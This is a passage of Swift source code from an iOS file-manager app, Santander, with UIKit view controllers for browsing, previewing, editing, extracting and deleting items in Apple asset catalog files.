func configureCollectionView() {
self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: makeLayout())
collectionView.translatesAutoresizingMaskIntoConstraints = false
collectionView.delegate = self
collectionView.dragDelegate = self
collectionView.backgroundColor = .secondarySystemBackground
view.addSubview(collectionView)
collectionView.constraintCompletely(to: view)
}
func editItem(sender: AssetCatalogViewController) {
guard let saveIndx = sender.dataSource.indexPath(for: rendition) else { return }
sender.editItem(rendition, presentingFrom: self) { [self] error in
if let error = error {
errorAlert(error, title: "Failed to edit item")
return
}
dismiss(animated: true) {
guard let newRend = sender.dataSource.itemIdentifier(for: saveIndx) else { return }
let newVC = UINavigationController(rootViewController: AssetCatalogRenditionViewController(rendition: newRend, sender: sender))
sender.present(newVC, animated: true)
}
}
}
func makeDetailCellBackgroundConfiguration() -> UIBackgroundConfiguration {
var background = UIBackgroundConfiguration.listAccompaniedSidebarCell()
background.cornerRadius = 8
background.backgroundColor = .tertiarySystemBackground
return background
}
func configureDataSource() {
let listCellSecondaryTextFont: UIFont = .preferredFont(forTextStyle: .footnote)
let detailCellBackgroundConf = makeDetailCellBackgroundConfiguration()
let detailCellRegistration = DetailCellRegistration { cell, indexPath, details in
var content = UIListContentConfiguration.cell()
content.prefersSideBySideTextAndSecondaryText = true
content.text = details.primaryText
content.secondaryText = details.secondaryText
content.secondaryTextProperties.font = listCellSecondaryTextFont
cell.contentConfiguration = content
cell.backgroundConfiguration = detailCellBackgroundConf
}
let previewCellRegistration = GridPreviewCellRegistration { cell, indexPath, itemIdentifier in
cell.rendition = self.rendition
cell.configure()
}
let actionCellRegistration = ActionCellRegistration { cell, indexPath, itemIdentifier in
var conf = cell.defaultContentConfiguration()
conf.text = itemIdentifier.displayText
conf.image = itemIdentifier.displayImage
if let color = itemIdentifier.textColor {
conf.textProperties.color = color
}
conf.imageToTextPadding = 10
cell.contentConfiguration = conf
cell.backgroundConfiguration = detailCellBackgroundConf
}
self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
switch itemIdentifier {
case .preview:
return collectionView.dequeueConfiguredReusableCell(using: previewCellRegistration, for: indexPath, item: self.rendition)
case .action(let action):
return collectionView.dequeueConfiguredReusableCell(using: actionCellRegistration, for: indexPath, item: action)
case .details(let detailItem):
return collectionView.dequeueConfiguredReusableCell(using: detailCellRegistration, for: indexPath, item: detailItem)
}
}
}
func addItems() {
var snapshot = NSDiffableDataSourceSnapshot<Section, ItemType>()
snapshot.appendSections([.itemPreview])
var actions: [ItemAction] = []
// add actions if possible
if let image = rendition.image {
let uiImage = UIImage(cgImage: image)
let saveImageAction = ItemAction(displayText: "Save", displayImage: UIImage(systemName: "square.and.arrow.down")) {
self.saveImage(uiImage)
}
let viewImageAction = ItemAction(displayText: "View", displayImage: UIImage(systemName: "magnifyingglass")) {
let viewer = ImageViewerController(fileURL: nil, image: uiImage, title: self.rendition.name)
self.present(UINavigationController(rootViewController: viewer), animated: true)
}
actions += [saveImageAction, viewImageAction]
}
if rendition.type.isEditable, let sender = sender {
let editAction = ItemAction(displayText: "Edit", displayImage: UIImage(systemName: "gear")) {
self.editItem(sender: sender)
}
actions.append(editAction)
}
if !actions.isEmpty {
snapshot.appendSections([.itemActions])
snapshot.appendItems(actions.map { return ItemType.action($0) }, toSection: .itemActions)
}
let size = rendition.cuiRend.unslicedSize()
var itemDetails: [DetailItem] = []
// if rendition name is different than lookup name,
// then display just "Name"
// otherwise, if they're different, display them as different cells
if rendition.namedLookup.name == rendition.namedLookup.renditionName {
itemDetails.insert(DetailItem(primaryText: "Name", secondaryText: rendition.namedLookup.name), at: 0)
} else {
let bothNames = [
DetailItem(primaryText: "Lookup Name", secondaryText: rendition.namedLookup.name),
DetailItem(primaryText: "Rendition Name", secondaryText: rendition.namedLookup.renditionName)
]
itemDetails.insert(contentsOf: bothNames, at: 0)
}
// if the height or width aren't 0 (they are 0 in the cases of colors)
// display them
if !size.height.isZero {
itemDetails.append(DetailItem(primaryText: "Height", secondaryText: size.height.description))
}
if !size.width.isZero {
itemDetails.append(DetailItem(primaryText: "Width", secondaryText: size.width.description))
}
itemDetails.append(DetailItem(primaryText: "Scale", secondaryText: rendition.cuiRend.scale().description))
let key = rendition.namedLookup.key
let rendInfo: [DetailItem] = [
DetailItem(primaryText: "Idiom", secondaryText: Rendition.Idiom(key)),
DetailItem(primaryText: "Appearance", secondaryText: Rendition.Appearance(key)),
DetailItem(primaryText: "Display Gamut", secondaryText: Rendition.DisplayGamut(key)),
DetailItem(primaryText: "Type", secondaryText: rendition.type),
]
snapshot.appendItems([.preview], toSection: .itemPreview)
snapshot.appendSections([.itemInfo])
snapshot.appendItems(ItemType.fromDetails(itemDetails), toSection: .itemInfo)
if rendition.type == .multiSizeImageSet,
let nsObjectSizes = rendition.cuiRend.value(forKey: "sizeIndexes") as? [NSObject] {
let sizes = nsObjectSizes.compactMap { $0.value(forKey: "size") as? CGSize }
let items = sizes.enumerated().map { (indx, size) in
DetailItem(primaryText: "Size \(indx)", secondaryText: "Width: \(size.width), Height: \(size.height)")
}
snapshot.appendSections([.specificTypeInfo])
snapshot.appendItems(ItemType.fromDetails(items), toSection: .specificTypeInfo)
}
switch rendition.representation {
case .color(let cgColor):
let uiColor = UIColor(cgColor: cgColor)
// to easily get blue, red, green, alpha without
// working with pointers
let codableColor = CodableColor(uiColor)
let colorSpaceName = (cgColor.colorSpace?.name as? String ?? "N/A")
.replacingOccurrences(of: "kCGColorSpace", with: "") // remove mentions of "kCGColorSpace" so its only the name
let colorDetails = [
DetailItem(primaryText: "ColorSpace", secondaryText: colorSpaceName),
DetailItem(primaryText: "Red", secondaryText: String(format: "%.3f", codableColor.red)),
DetailItem(primaryText: "Blue", secondaryText: String(format: "%.3f", codableColor.blue)),
DetailItem(primaryText: "Green", secondaryText: String(format: "%.3f", codableColor.green)),
]
snapshot.insertSections([.specificTypeInfo], afterSection: .itemInfo)
snapshot.appendItems(ItemType.fromDetails(colorDetails), toSection: .specificTypeInfo)
default:
break
}
snapshot.appendSections([.renditionKeyInfo])
snapshot.appendItems(ItemType.fromDetails(rendInfo), toSection: .renditionKeyInfo)
if let sender = sender {
let deleteImage = UIImage(systemName: "trash")?.withTintColor(.systemRed, renderingMode: .alwaysOriginal)
let deleteAction = ItemAction(displayText: "Delete", displayImage: deleteImage, textColor: .systemRed) {
let confirmationAlert = UIAlertController(title: "Are you sure you want to delete this item?", message: nil, preferredStyle: .actionSheet)
let deleteAction = UIAlertAction(title: "Delete", style: .destructive) { [self] _ in
sender.deleteItem(rendition) { [self] error in
if let error = error {
errorAlert(error, title: "Failed to delete item")
} else {
dismiss(animated: true)
}
}
}
confirmationAlert.addAction(deleteAction)
confirmationAlert.addAction(.cancel())
self.present(confirmationAlert, animated: true)
}
snapshot.appendSections([.deleteItem])
snapshot.appendItems([.action(deleteAction)], toSection: .deleteItem)
}
dataSource.apply(snapshot)
}
func makeLayout() -> UICollectionViewLayout {
// lazy var, so that it's not nil by the time it's initialized, because makeLayout() is called before createDataSource
// it won't be nil when it's used in the layout closure.
lazy var snapshot = dataSource.snapshot()
let layout = UICollectionViewCompositionalLayout { sectionIndex, enviroment in
let section = snapshot.sectionIdentifiers[sectionIndex]
switch section {
case .itemPreview:
let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .estimated(180))
let item = NSCollectionLayoutItem(layoutSize: itemSize)
let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .estimated(180))
let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)
group.interItemSpacing = .fixed(20)
return NSCollectionLayoutSection(group: group)
case .itemActions:
let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .fractionalHeight(1.0))
let item = NSCollectionLayoutItem(layoutSize: itemSize)
let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .absolute(44))
let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: snapshot.numberOfItems(inSection: section))
let spacing = CGFloat(10)
group.interItemSpacing = .fixed(spacing)
let section = NSCollectionLayoutSection(group: group)
section.interGroupSpacing = spacing
section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 16, bottom: 0, trailing: 16)
return section
default:
let list = NSCollectionLayoutSection.list(
using: .init(appearance: .sidebar),
layoutEnvironment: enviroment
)
list.interGroupSpacing = 5
return list
}
}
let config = UICollectionViewCompositionalLayoutConfiguration()
config.interSectionSpacing = 10
layout.configuration = config
return layout
}
enum Section: Hashable {
/// The item preview, ie, the image or color's view
case itemPreview
/// Actions to do, such as saving the image if available
case itemActions
/// The core item information, in a list layout, such as the name / width / height
/// this is available for *all* renditions
case itemInfo
/// The item information that is specific to it's type,
/// ie, the red, green and blue components of a color
case specificTypeInfo
/// The information specifically related to the rendition,
/// coming from CUIRenditionKey
case renditionKeyInfo
/// The delete item button
case deleteItem
}
enum ItemType: Hashable {
case preview
case action(ItemAction)
case details(DetailItem)
static func fromDetails(_ details: [DetailItem]) -> [ItemType] {
return details.map { details in
ItemType.details(details)
}
}
}
struct DetailItem: Hashable {
/// The text of the primary label, ie "Height"
let primaryText: String
/// The text of the secondary label, ie, the height number as a String
let secondaryText: String
init(primaryText: String, secondaryText: String?) {
self.primaryText = primaryText
self.secondaryText = secondaryText ?? "N/A"
}
init<DetailTextType: CustomStringConvertible>(primaryText: String, secondaryText: DetailTextType?) {
self.primaryText = primaryText
self.secondaryText = secondaryText?.description ?? "N/A"
}
}
struct ItemAction: Hashable {
static func == (lhs: ItemAction, rhs: ItemAction) -> Bool {
return lhs.displayText == rhs.displayText
}
let displayText: String
let displayImage: UIImage?
let textColor: UIColor?
let action: (() -> Void)
init(displayText: String, displayImage: UIImage?, textColor: UIColor? = nil, action: @escaping () -> Void) {
self.displayText = displayText
self.displayImage = displayImage
self.textColor = textColor
self.action = action
}
func hash(into hasher: inout Hasher) {
hasher.combine(displayText)
hasher.combine(displayImage)
hasher.combine(textColor)
}
}
}
extension AssetCatalogRenditionViewController: UICollectionViewDelegate, UICollectionViewDragDelegate {
func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {
UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { [self] _ in
let item = dataSource.itemIdentifier(for: indexPath)
switch item {
case .action(let itemAction):
let menuAction = UIAction(title: itemAction.displayText, image: itemAction.displayImage) { _ in
itemAction.action()
}
return UIMenu(children: [menuAction])
case .details(let detail):
let menuAction = UIAction(title: "Copy", image: UIImage(systemName: "doc.on.doc")) { _ in
UIPasteboard.general.string = detail.secondaryText
}
return UIMenu(children: [menuAction])
default:
return nil
}
}
}
func collectionView(_ collectionView: UICollectionView, shouldHighlightItemAt indexPath: IndexPath) -> Bool {
switch dataSource.itemIdentifier(for: indexPath) {
case .action(_): return true
default: return false
}
}
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
switch dataSource.itemIdentifier(for: indexPath) {
case .action(let action): action.action()
default: break
}
}
func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {
// here, we are dragging the preview item displayed
// which is in the first section
guard indexPath.section == 0, let dragItem = rendition.makeDragItem() else { return [] }
// (if we can) get the cell that is being dragged, set the previewProvider properly
// otherwise funky behaviour arises
if let cell = collectionView.cellForItem(at: indexPath) as? AssetCatalogGridPreviewCell {
dragItem.previewProvider = {
let params = UIDragPreviewParameters()
params.backgroundColor = .clear
return UIDragPreview(view: cell.previewView, parameters: params)
}
}
return [
dragItem
]
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSectionHeader.swift
================================================
//
// AssetCatalogSectionHeader.swift
// Santander
//
// Created by Serena on 21/09/2022
//
import UIKit
import AssetCatalogWrapper
class AssetCatalogSectionHeader: UICollectionReusableView {
let stackView = UIStackView()
let titleLabel = UILabel()
let subtitleLabel = UILabel()
func configure(withSection section: RenditionType, snapshot: NSDiffableDataSourceSnapshot<RenditionType, Rendition>, sender: AssetCatalogViewController) {
// The titleLabel's text is the name of the section
// And the subtitleLabel's text is the amount of items in the section
// ie, the UI would look something like
// "Color"
// "6 Items"
titleLabel.text = section.description
titleLabel.font = .preferredFont(forTextStyle: .title3)
subtitleLabel.text = "\(snapshot.itemIdentifiers(inSection: section).count) Items"
subtitleLabel.textColor = .secondaryLabel
subtitleLabel.font = .preferredFont(forTextStyle: .caption1)
stackView.addArrangedSubview(titleLabel)
stackView.addArrangedSubview(subtitleLabel)
stackView.axis = .vertical
stackView.translatesAutoresizingMaskIntoConstraints = false
addSubview(stackView)
let guide = layoutMarginsGuide
NSLayoutConstraint.activate([
stackView.centerYAnchor.constraint(equalTo: guide.centerYAnchor),
stackView.leadingAnchor.constraint(equalTo: guide.leadingAnchor)
])
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogSidebarListView.swift
================================================
//
// AssetCatalogSidebarListView.swift
// Santander
//
// Created by Serena on 27/10/2022
//
import UIKit
import AssetCatalogWrapper
class AssetCatalogSidebarListView: UIViewController {
enum Section: Hashable {
case main
}
typealias DataSource = UICollectionViewDiffableDataSource<Section, RenditionType>
typealias Snapshot = NSDiffableDataSourceSnapshot<Section, RenditionType>
typealias CellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, RenditionType>
let catalogController: AssetCatalogViewController
var collectionView: UICollectionView!
var dataSource: DataSource!
lazy var sections: [RenditionType] = []
init(catalogController: AssetCatalogViewController) {
self.catalogController = catalogController
super.init(nibName: nil, bundle: nil)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func viewDidLoad() {
super.viewDidLoad()
makeCollectionView()
makeDataSource()
addItems()
splitViewController?.setViewController(catalogController, for: .secondary)
title = catalogController.fileURL.deletingPathExtension().lastPathComponent
navigationController?.navigationBar.prefersLargeTitles = true
}
func makeCollectionView() {
let layout = UICollectionViewCompositionalLayout { _, env in
return .list(using: UICollectionLayoutListConfiguration(appearance: .sidebar), layoutEnvironment: env)
}
collectionView = UICollectionView(frame: .zero, collectionViewLayout: layout)
collectionView.translatesAutoresizingMaskIntoConstraints = false
collectionView.delegate = self
view.addSubview(collectionView)
collectionView.constraintCompletely(to: view)
}
func makeDataSource() {
let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in
var conf = cell.defaultContentConfiguration()
conf.text = itemIdentifier.description
conf.image = itemIdentifier.displayImage
cell.contentConfiguration = conf
}
self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)
}
}
func addItems() {
var snapshot = Snapshot()
snapshot.appendSections([.main])
snapshot.appendItems(sections, toSection: .main)
dataSource.apply(snapshot)
}
}
extension AssetCatalogSidebarListView: UICollectionViewDelegate {
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
catalogController.collectionView.scrollToItem(at: IndexPath(row: 0, section: indexPath.row), at: .top, animated: true)
}
}
fileprivate extension RenditionType {
var displayImage: UIImage? {
switch self {
case .image, .svg:
return UIImage(systemName: "photo")
case .icon:
return UIImage(systemName: "app")
case .imageSet:
return UIImage(systemName: "photo.stack")
case .multiSizeImageSet:
return UIImage(systemName: "cube.box")
case .pdf:
return UIImage(systemName: "doc.richtext")
case .color:
return UIImage(systemName: "paintbrush")
case .rawData:
return UIImage(systemName: "text.quote")
case .unknown:
return UIImage(systemName: "questionmark.app")
}
}
}
================================================
FILE: Santander/UI/Editors/AssetCatalog/AssetCatalogViewController.swift
================================================
//
// AssetCatalogViewController.swift
// Santander
//
// Created by Serena on 16/09/2022
//
import UIKit
import AssetCatalogWrapper
import UniformTypeIdentifiers
import PhotosUI
#warning("Also make a view for displaying information about this catalog and display it above the collection view")
class AssetCatalogViewController: UIViewController {
typealias DataSource = UICollectionViewDiffableDataSource<RenditionType, Rendition>
typealias SupplementaryRegistration = UICollectionView.SupplementaryRegistration<AssetCatalogSectionHeader>
typealias CellRegistration = UICollectionView.CellRegistration<AssetCatalogCell, Rendition>
static let titleElementKind = "RenditionTypeTitle"
let fileURL: URL
var renditionCollection: RenditionCollection
var catalog: CUICatalog
fileprivate var editorDelegate: ItemEditorDelegate?
var collectionView: UICollectionView!
var dataSource: DataSource!
var noResultsLabel: UILabel = UILabel()
var layoutMode: LayoutMode = LayoutMode(UserPreferences.assetCatalogControllerLayoutMode) {
didSet {
collectionView.setCollectionViewLayout(createLayout(), animated: true)
UserPreferences.assetCatalogControllerLayoutMode = layoutMode.rawValue
}
}
init(renditions: RenditionCollection, fileURL: URL, catalog: CUICatalog) {
self.renditionCollection = renditions
self.fileURL = fileURL
self.catalog = catalog
super.init(nibName: nil, bundle: nil)
}
convenience init(catalogFileURL fileURL: URL) throws {
let (catalog, renditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
self.init(renditions: renditions, fileURL: fileURL, catalog: catalog)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func viewDidLoad() {
super.viewDidLoad()
// on iPad, the title is instead displayed on the sidebar
if !UIDevice.isiPad {
let filename = fileURL.deletingPathExtension()
title = filename.lastPathComponent
navigationController?.navigationBar.prefersLargeTitles = true
}
navigationItem.hidesSearchBarWhenScrolling = false
let searchController = UISearchController()
searchController.searchBar.delegate = self
navigationItem.searchController = searchController
configureCollectionView()
configureDataSource()
setupBarItems()
}
// scroll up or down keyboard shortcuts
override var keyCommands: [UIKeyCommand]? {
return [
UIKeyCommand(title: "Scroll Up", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputUpArrow, modifierFlags: .command),
UIKeyCommand(title: "Scroll Down", action: #selector(goUpOrDown(sender:)), input: UIKeyCommand.inputDownArrow, modifierFlags: .command)
]
}
@objc
func goUpOrDown(sender: UIKeyCommand) {
switch sender.input {
case UIKeyCommand.inputDownArrow:
let snapshot = dataSource.snapshot()
if let last = snapshot.sectionIdentifiers.last {
let section = snapshot.sectionIdentifiers.count
let row = snapshot.itemIdentifiers(inSection: last).count
collectionView.scrollToItem(at: IndexPath(row: row - 1, section: section - 1), at: .bottom, animated: true)
}
case UIKeyCommand.inputUpArrow:
collectionView.scrollToItem(at: IndexPath(row: 0, section: 0), at: .top, animated: true)
default:
break
}
}
func configureCollectionView() {
self.collectionView = UICollectionView(frame: .zero, collectionViewLayout: createLayout())
collectionView.translatesAutoresizingMaskIntoConstraints = false
collectionView.backgroundColor = .systemBackground
collectionView.dragDelegate = self
collectionView.delegate = self
view.addSubview(collectionView)
collectionView.constraintCompletely(to: view)
}
func makeMenuForBarButton() -> UIMenu {
let extractAction = UIAction(title: "Extract to..") { _ in
self.extractAction()
}
let changeLayoutActions = LayoutMode.allCases.map { [self] mode in
return UIAction(title: mode.description, state: layoutMode == mode ? .on : .off) { [self] _ in
layoutMode = mode
setupBarItems() // update the bar items so that the new selected mode is marked with a checkmark
}
}
let changeLayoutMenu = UIMenu(title: "Layout", children: changeLayoutActions)
return UIMenu(children: [extractAction, changeLayoutMenu])
}
func setupBarItems() {
let dismissAction = UIAction { _ in
self.dismiss(animated: true)
}
navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .close, primaryAction: dismissAction)
let barButtonWithMenu = UIBarButtonItem(image: UIImage(systemName: "ellipsis.circle"), menu: makeMenuForBarButton())
// on iPad, leftButton fits more as the right bar button item for the sidebar
if UIDevice.isiPad {
splitViewController?.viewController(for: .primary)?.navigationItem.rightBarButtonItem = barButtonWithMenu
} else {
// otherwise, on other platforms, set it as the leftBarButtonItem
navigationItem.leftBarButtonItem = barButtonWithMenu
}
}
func extractAction() {
let action: PathSelectionOperation = .custom(description: "extract", verbDescription: "Extracting to..") { [self] operationVC, selectedPath in
let extractionPath = selectedPath
.appendingPathComponent("\(fileURL.lastPathComponent)-Extracted")
extractItems(extractionPath: extractionPath, sourceVC: operationVC) { error in
if let error = error {
operationVC.errorAlert(error, title: "Unable to extract items")
} else {
// once we're done with extracting,
// go to the directory where the extracted items are
operationVC.dismiss(animated: true) {
self.dismiss(animated: true) {
let rootVC = UIApplication.shared.sceneKeyWindow?.rootViewController
let vcToPushFrom: PathTransitioning?
if UIDevice.isiPad {
vcToPushFrom = (rootVC as? UISplitViewController)?.viewController(for: .primary) as? PathTransitioning
} else {
vcToPushFrom = (rootVC as? UINavigationController)?.visibleViewController as? PathTransitioning
}
vcToPushFrom?.goToPath(path: Path(url: extractionPath))
}
}
}
}
}
let vc = PathOperationViewController(paths: [fileURL], operationType: action, dismissWhenDone: false)
present(UINavigationController(rootViewController: vc), animated: true) {
// go to .car's parent path once the operation vc is presented
vc.goToPath(path: Path(url: self.fileURL.deletingLastPathComponent()))
}
}
func extractItems(
extractionPath savePath: URL,
sourceVC: UIViewController,
completionHandler: @escaping (Error?) -> Void
) {
let alertController = createAlertWithSpinner(title: "Extracting..")
sourceVC.present(alertController, animated: true)
var caughtError: Error? = nil
DispatchQueue.global(qos: .userInitiated).async {
do {
try FSOperation.perform(.extractCatalog(catalogFileURL: self.fileURL, resultPath: savePath), rootHelperConf: RootConf.shared)
} catch {
caughtError = error
}
}
DispatchQueue.main.async {
alertController.dismiss(animated: true) {
return completionHandler(caughtError)
}
}
}
enum LayoutMode: Int, CustomStringConvertible, CaseIterable {
case horizantal
case verical
init(_ rawValue: Int) {
// default to horizontal
switch rawValue {
case LayoutMode.horizantal.rawValue: self = .horizantal
default: self = .verical
}
}
var description: String {
switch self {
case .horizantal:
return "Horizontal"
case .verical:
return "Vertical"
}
}
}
}
// MARK: - Layout & Data Source stuff
extension AssetCatalogViewController: UICollectionViewDelegate {
func createLayout() -> UICollectionViewLayout {
let section: NSCollectionLayoutSection
switch layoutMode {
case .verical:
let itemSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .fractionalHeight(1.0))
let item = NSCollectionLayoutItem(layoutSize: itemSize)
let groupSize = NSCollectionLayoutSize(widthDimension: .fractionalWidth(1.0),
heightDimension: .absolute(60))
let group = NSCollectionLayoutGroup.horizontal(layoutSize: groupSize, subitem: item, count: 1)
let spacing = CGFloat(10)
group.interItemSpacing = .fixed(spacing)
section = NSCollectionLayoutSection(group: group)
section.interGroupSpacing = spacing
section.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: spacing, bottom: 0, trailing: spacing)
case .horizantal:
let itemSize = NSCollectionLayoutSize(
widthDimension: .fractionalWidth(1),
heightDimension: .fractionalHeight(0.40)
)
let layoutItem = NSCollectionLayoutItem(layoutSize: itemSize)
layoutItem.contentInsets = NSDirectionalEdgeInsets(top: 0, leading: 5, bottom: 3, trailing: 5)
let layoutGroupSize = NSCollectionLayoutSize(
widthDimension: .fractionalWidth(0.93),
heightDimension: .fractionalWidth(0.55)
)
let layoutGroup: NSCollectionLayoutGroup = .vertical(
layoutSize: layoutGroupSize,
subitem: layoutItem,
count: 3
)
layoutGroup.interItemSpacing = .fixed(15)
section = NSCollectionLayoutSection(group: layoutGroup)
section.orthogonalScrollingBehavior = .groupPagingCentered
}
let titleHeaderSize = NSCollectionLayoutSize(
widthDimension: .fractionalWidth(0.93),
heightDimension: .absolute(50)
)
let titleSupplementary = NSCollectionLayoutBoundarySupplementaryItem(
layoutSize: titleHeaderSize,
elementKind: AssetCatalogViewController.titleElementKind,
alignment: layoutMode == .horizantal ? .top : .topLeading
)
section.boundarySupplementaryItems = [titleSupplementary]
let layout = UICollectionViewCompositionalLayout(section: section)
let conf = UICollectionViewCompositionalLayoutConfiguration()
conf.interSectionSpacing = 20
layout.configuration = conf
return layout
}
func configureDataSource() {
let cellRegistration = CellRegistration { cell, indexPath, itemIdentifier in
cell.rendition = itemIdentifier
cell.configure()
}
dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in
return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)
}
updateDataSourceItems(collection: renditionCollection)
let supplementaryRegistration = SupplementaryRegistration(elementKind: AssetCatalogViewController.titleElementKind) { supplementaryView, elementKind, indexPath in
let snapshot = self.dataSource.snapshot()
let section = snapshot.sectionIdentifiers[indexPath.section]
supplementaryView.configure(withSection: section, snapshot: snapshot, sender: self)
}
dataSource.supplementaryViewProvider = { (collectionView, string, indexPath) in
return collectionView.dequeueConfiguredReusableSupplementary(using: supplementaryRegistration, for: indexPath)
}
}
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
guard let item = dataSource.itemIdentifier(for: indexPath) else { return }
let vc = AssetCatalogRenditionViewController(rendition: item, sender: self)
present(UINavigationController(rootViewController: vc), animated: true)
}
func collectionView(_ collectionView: UICollectionView, contextMenuConfigurationForItemAt indexPath: IndexPath, point: CGPoint) -> UIContextMenuConfiguration? {
guard let item = dataSource.itemIdentifier(for: indexPath) else { return nil }
return UIContextMenuConfiguration(identifier: nil, previewProvider: nil) { _ in
let copyNameAction = UIAction(title: "Copy name", image: UIImage(systemName: "doc.on.doc")) { _ in
UIPasteboard.general.string = item.name
}
var children = [copyNameAction]
if let image = item.image {
let uiImage = UIImage(cgImage: image)
let copyImageAction = UIAction(title: "Copy Image") { _ in
UIPasteboard.general.image = uiImage
}
children.append(copyImageAction)
let saveImageAction = UIAction(title: "Save Image", image: UIImage(systemName: "square.and.arrow.down")) { _ in
self.saveImage(uiImage)
}
children.append(saveImageAction)
}
var attributes: UIMenuElement.Attributes = []
// can only edit images & icons for now
// i tried to get color editing to work but for whatever reason
// -[CUIMutableCommonAssetStorage setColor:forName:excludeFromFilter:] just doesn't work..
if !item.type.isEditable {
attributes = .disabled
}
let editAction = UIAction(title: "Edit", attributes: attributes) { _ in
self.editItem(item)
}
children.append(editAction)
let deleteItemAction = UIAction(title: "Delete", image: UIImage(systemName: "trash"), attributes: .destructive) { [self] _ in
deleteItem(item, completion: nil)
}
children.append(deleteItemAction)
return UIMenu(children: children)
}
}
func deleteItem(_ item: Rendition, completion: ((Error?) -> Void)?) {
do {
try catalog.removeItem(item, fileURL: fileURL)
// update the catalog and rendition collection
let (newCatalog, newRenditions) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
self.catalog = newCatalog
self.renditionCollection = newRenditions
updateDataSourceItems(collection: renditionCollection)
completion?(nil)
} catch {
let completion = completion ?? { error in
self.errorAlert(error, title: "Failed to delete item and update contents of file")
}
completion(error)
}
}
func updateDataSourceItems(collection: RenditionCollection) {
var snapshot = NSDiffableDataSourceSnapshot<RenditionType, Rendition>()
for (section, items) in collection {
snapshot.appendSections([section])
snapshot.appendItems(items, toSection: section)
}
dataSource.apply(snapshot, animatingDifferences: true)
// update the sections on the iPad sidebar
if UIDevice.isiPad, let sidebar = splitViewController?.viewController(for: .primary) as? AssetCatalogSidebarListView {
let sections = dataSource.snapshot().sectionIdentifiers
var sidebarSnapshot = AssetCatalogSidebarListView.Snapshot()
sidebarSnapshot.appendSections([.main])
sidebarSnapshot.appendItems(sections, toSection: .main)
sidebar.dataSource.apply(sidebarSnapshot)
}
}
func editItem(_ item: Rendition, presentingFrom optionalVcToPresentFrom: UIViewController? = nil, callback: ((Error?) -> Void)? = nil) {
guard let preview = item.representation else { return }
let vcToPresentFrom = optionalVcToPresentFrom ?? self
let errorCallback: ItemEditorDelegate.ErrorCallback = callback ?? { error in
if let error = error {
vcToPresentFrom.errorAlert(error, title: "Failed to edit item")
}
}
editorDelegate = ItemEditorDelegate(sender: self, selectedRendition: item, finishedEditingCallback: errorCallback)
let vc: UIViewController
switch preview {
case .image(_):
var conf = PHPickerConfiguration()
conf.filter = .images
conf.selectionLimit = 1
let photoVC = PHPickerViewController(configuration: conf)
photoVC.delegate = editorDelegate
vc = photoVC
case .color(let currentCgColor):
let colorVC = UIColorPickerViewController()
colorVC.delegate = editorDelegate
// when presenting the color picker controller,
// set the default selected color as the item's current CGColor
colorVC.selectedColor = UIColor(cgColor: currentCgColor)
vc = colorVC
}
vcToPresentFrom.present(vc, animated: true)
}
}
extension AssetCatalogViewController: UICollectionViewDragDelegate {
func collectionView(_ collectionView: UICollectionView, itemsForBeginning session: UIDragSession, at indexPath: IndexPath) -> [UIDragItem] {
guard let dragItem = dataSource.itemIdentifier(for: indexPath)?.makeDragItem() else { return [] }
return [
dragItem
]
}
}
extension AssetCatalogViewController: UISearchBarDelegate {
func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {
noResultsLabel.removeFromSuperview()
guard !searchText.isEmpty else {
updateDataSourceItems(collection: renditionCollection) // if the text is empty, show all items
return
}
let newCollection = renditionCollection.map { (type, renditions) in
let newRenditions = renditions.filter { rend in
return rend.name.localizedCaseInsensitiveContains(searchText)
}
return (type, newRenditions)
}.filter { (_, rends) in
!rends.isEmpty
}
updateDataSourceItems(collection: newCollection)
// if there are no search results & the noResultsLabel isn't already being displayed
// display it
if newCollection.isEmpty, noResultsLabel.superview == nil {
noResultsLabel.text = "No Results"
noResultsLabel.font = .systemFont(ofSize: 20, weight: .bold)
noResultsLabel.translatesAutoresizingMaskIntoConstraints = false
view.addSubview(noResultsLabel)
let guide = view.layoutMarginsGuide
NSLayoutConstraint.activate([
noResultsLabel.centerXAnchor.constraint(equalTo: guide.centerXAnchor),
noResultsLabel.centerYAnchor.constraint(equalTo: guide.centerYAnchor)
])
}
}
func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {
noResultsLabel.removeFromSuperview()
updateDataSourceItems(collection: renditionCollection)
}
func fetchItemsFromFile() {
do {
let (newCatalog, newCollection) = try AssetCatalogWrapper.shared.renditions(forCarArchive: fileURL)
